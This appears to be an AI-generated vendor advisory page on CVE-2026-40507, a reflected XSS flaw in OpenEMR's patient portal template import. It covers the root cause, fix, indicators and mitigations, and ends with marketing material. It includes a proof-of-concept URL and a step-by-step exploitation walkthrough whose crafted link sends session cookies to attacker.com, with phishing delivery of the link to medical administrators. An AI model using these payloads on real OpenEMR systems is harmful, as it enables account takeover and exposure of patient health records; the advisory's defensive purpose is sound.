CVE-2026-40507
OpenEMR vulnerability analysis and mitigation

Overview

CVE-2026-40507 is a reflected cross-site scripting (XSS) vulnerability in OpenEMR's patient portal template import handler (/portal/import_template.php). The templateHtml GET parameter is reflected directly into the page response without sanitization, allowing an unauthenticated attacker to craft a malicious URL that executes arbitrary JavaScript in the browser of any authenticated user with Forms Administration permissions who visits the link. All OpenEMR versions before 8.3.0 are affected. The vulnerability was published on August 19, 2026, with a CVSS v3.1 base score of 6.1 (Medium) and a CVSS v4.0 base score of 5.1 (Medium) (OpenEMR Advisory, GitHub Advisory).

Technical details

The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation), specifically a reflected XSS pattern. In vulnerable versions, when a GET request is sent to /portal/import_template.php with a non-empty templateHtml parameter, the value is passed directly to renderEditorHtml() without any HTML encoding or entity conversion: } elseif (!empty($_GET['templateHtml'] ?? null)) { renderEditorHtml($_REQUEST['docid'], $_GET['templateHtml']); }. The fix (commit ba316dd) removes this unsanitized GET branch entirely and introduces HTMLPurifier-based sanitization within renderEditorHtml() via a new DocumentTemplateService::purifyTemplateContent() method. Exploitation requires no attacker-side privileges but does require the victim to be authenticated with Forms Administration permissions and to click a crafted link (OpenEMR Advisory, Fix Commit).

Impact

Successful exploitation enables session hijacking of authenticated Forms Administration users, potentially allowing an attacker to take over privileged accounts within the OpenEMR system. Because OpenEMR handles sensitive protected health information (PHI), account takeover could expose patient records, enable unauthorized modifications to clinical forms and templates, and serve as a stepping stone for chained attacks against other vulnerabilities in the platform. The advisory notes this vulnerability is explicitly identified as a prerequisite for a chained attack described as "Vulnerability 5" in the broader disclosure (OpenEMR Advisory).

Exploitability

A proof-of-concept URL is publicly documented in the official security advisory, demonstrating immediate payload execution: http://<host>/portal/import_template.php?docid=999&templateHtml=%3Chtml%3E%0A%3Cimg%20src%3Dx%20onerror%3Dalert(JSON.stringify(document))%3E%0A%3C%2Fhtml%3E. There is no evidence of in-the-wild exploitation at this time, and the EPSS score is 0.0. The vulnerability is not listed in the CISA KEV catalog. No threat actor attribution has been reported (OpenEMR Advisory, GitHub Advisory).

Exploitation steps

  1. Reconnaissance: Identify internet-facing OpenEMR instances running versions prior to 8.3.0 using tools like Shodan or Censys, searching for OpenEMR login pages or version indicators.
  2. Identify target user: Determine or social-engineer a user with Forms Administration permissions (e.g., a clinical administrator) at the target organization.
  3. Craft malicious URL: Construct a URL targeting the vulnerable endpoint with a JavaScript payload embedded in the templateHtml GET parameter, URL-encoding the payload:
    http://<target>/portal/import_template.php?docid=999&templateHtml=%3Chtml%3E%3Cimg%20src%3Dx%20onerror%3D"fetch('https://attacker.com/steal?c='+document.cookie)"%3E%3C%2Fhtml%3E
  4. Deliver the link: Send the crafted URL to the target user via phishing email, chat message, or other social engineering vector, enticing them to click it while authenticated.
  5. Capture session token: The victim's browser executes the injected JavaScript, which exfiltrates the session cookie or performs actions on behalf of the victim to the attacker-controlled server.
  6. Session hijack: Use the captured session token to authenticate to OpenEMR as the victim, gaining Forms Administration access and the ability to perform further actions including chained attacks (OpenEMR Advisory).

Indicators of compromise

  • Network: Outbound HTTP requests from a victim's browser to unexpected external domains immediately after accessing /portal/import_template.php; unusual GET requests to /portal/import_template.php containing URL-encoded HTML or JavaScript in the templateHtml parameter (e.g., %3Cscript%3E, %3Cimg, onerror=).
  • Logs: Web server access logs showing GET requests to /portal/import_template.php with a templateHtml parameter containing encoded HTML tags or JavaScript event handlers; repeated access to this endpoint from different source IPs with similar payload patterns.
  • Session/Auth: Authenticated sessions originating from unexpected IP addresses or geographic locations shortly after a Forms Administration user accessed a suspicious link; session tokens used from multiple concurrent IP addresses.

Mitigation and workarounds

Upgrade OpenEMR to version 8.3.0 or later, which removes the unsanitized templateHtml GET branch and introduces HTMLPurifier-based sanitization for all template content rendering (OpenEMR Release, Fix Commit). As interim mitigations, implement a Content Security Policy (CSP) header to restrict inline JavaScript execution, and configure a web application firewall (WAF) rule to block requests to /portal/import_template.php containing HTML tags in the templateHtml parameter. Additionally, educate users with Forms Administration permissions to avoid clicking unsolicited or unexpected links to the OpenEMR portal.

Additional resources


SourceThis report was generated using AI

Related OpenEMR vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

CVE-2026-40506HIGH7
  • OpenEMR logoOpenEMR
  • cpe:2.3:a:open-emr:openemr
NoYesAug 17, 2026
CVE-2026-76614MEDIUM5.3
  • OpenEMR logoOpenEMR
  • cpe:2.3:a:open-emr:openemr
NoYesAug 19, 2026
CVE-2026-40509MEDIUM5.3
  • OpenEMR logoOpenEMR
  • cpe:2.3:a:open-emr:openemr
NoYesAug 19, 2026
CVE-2026-40508MEDIUM5.1
  • OpenEMR logoOpenEMR
  • cpe:2.3:a:open-emr:openemr
NoYesAug 19, 2026
CVE-2026-40507MEDIUM5.1
  • OpenEMR logoOpenEMR
  • cpe:2.3:a:open-emr:openemr
NoYesAug 19, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management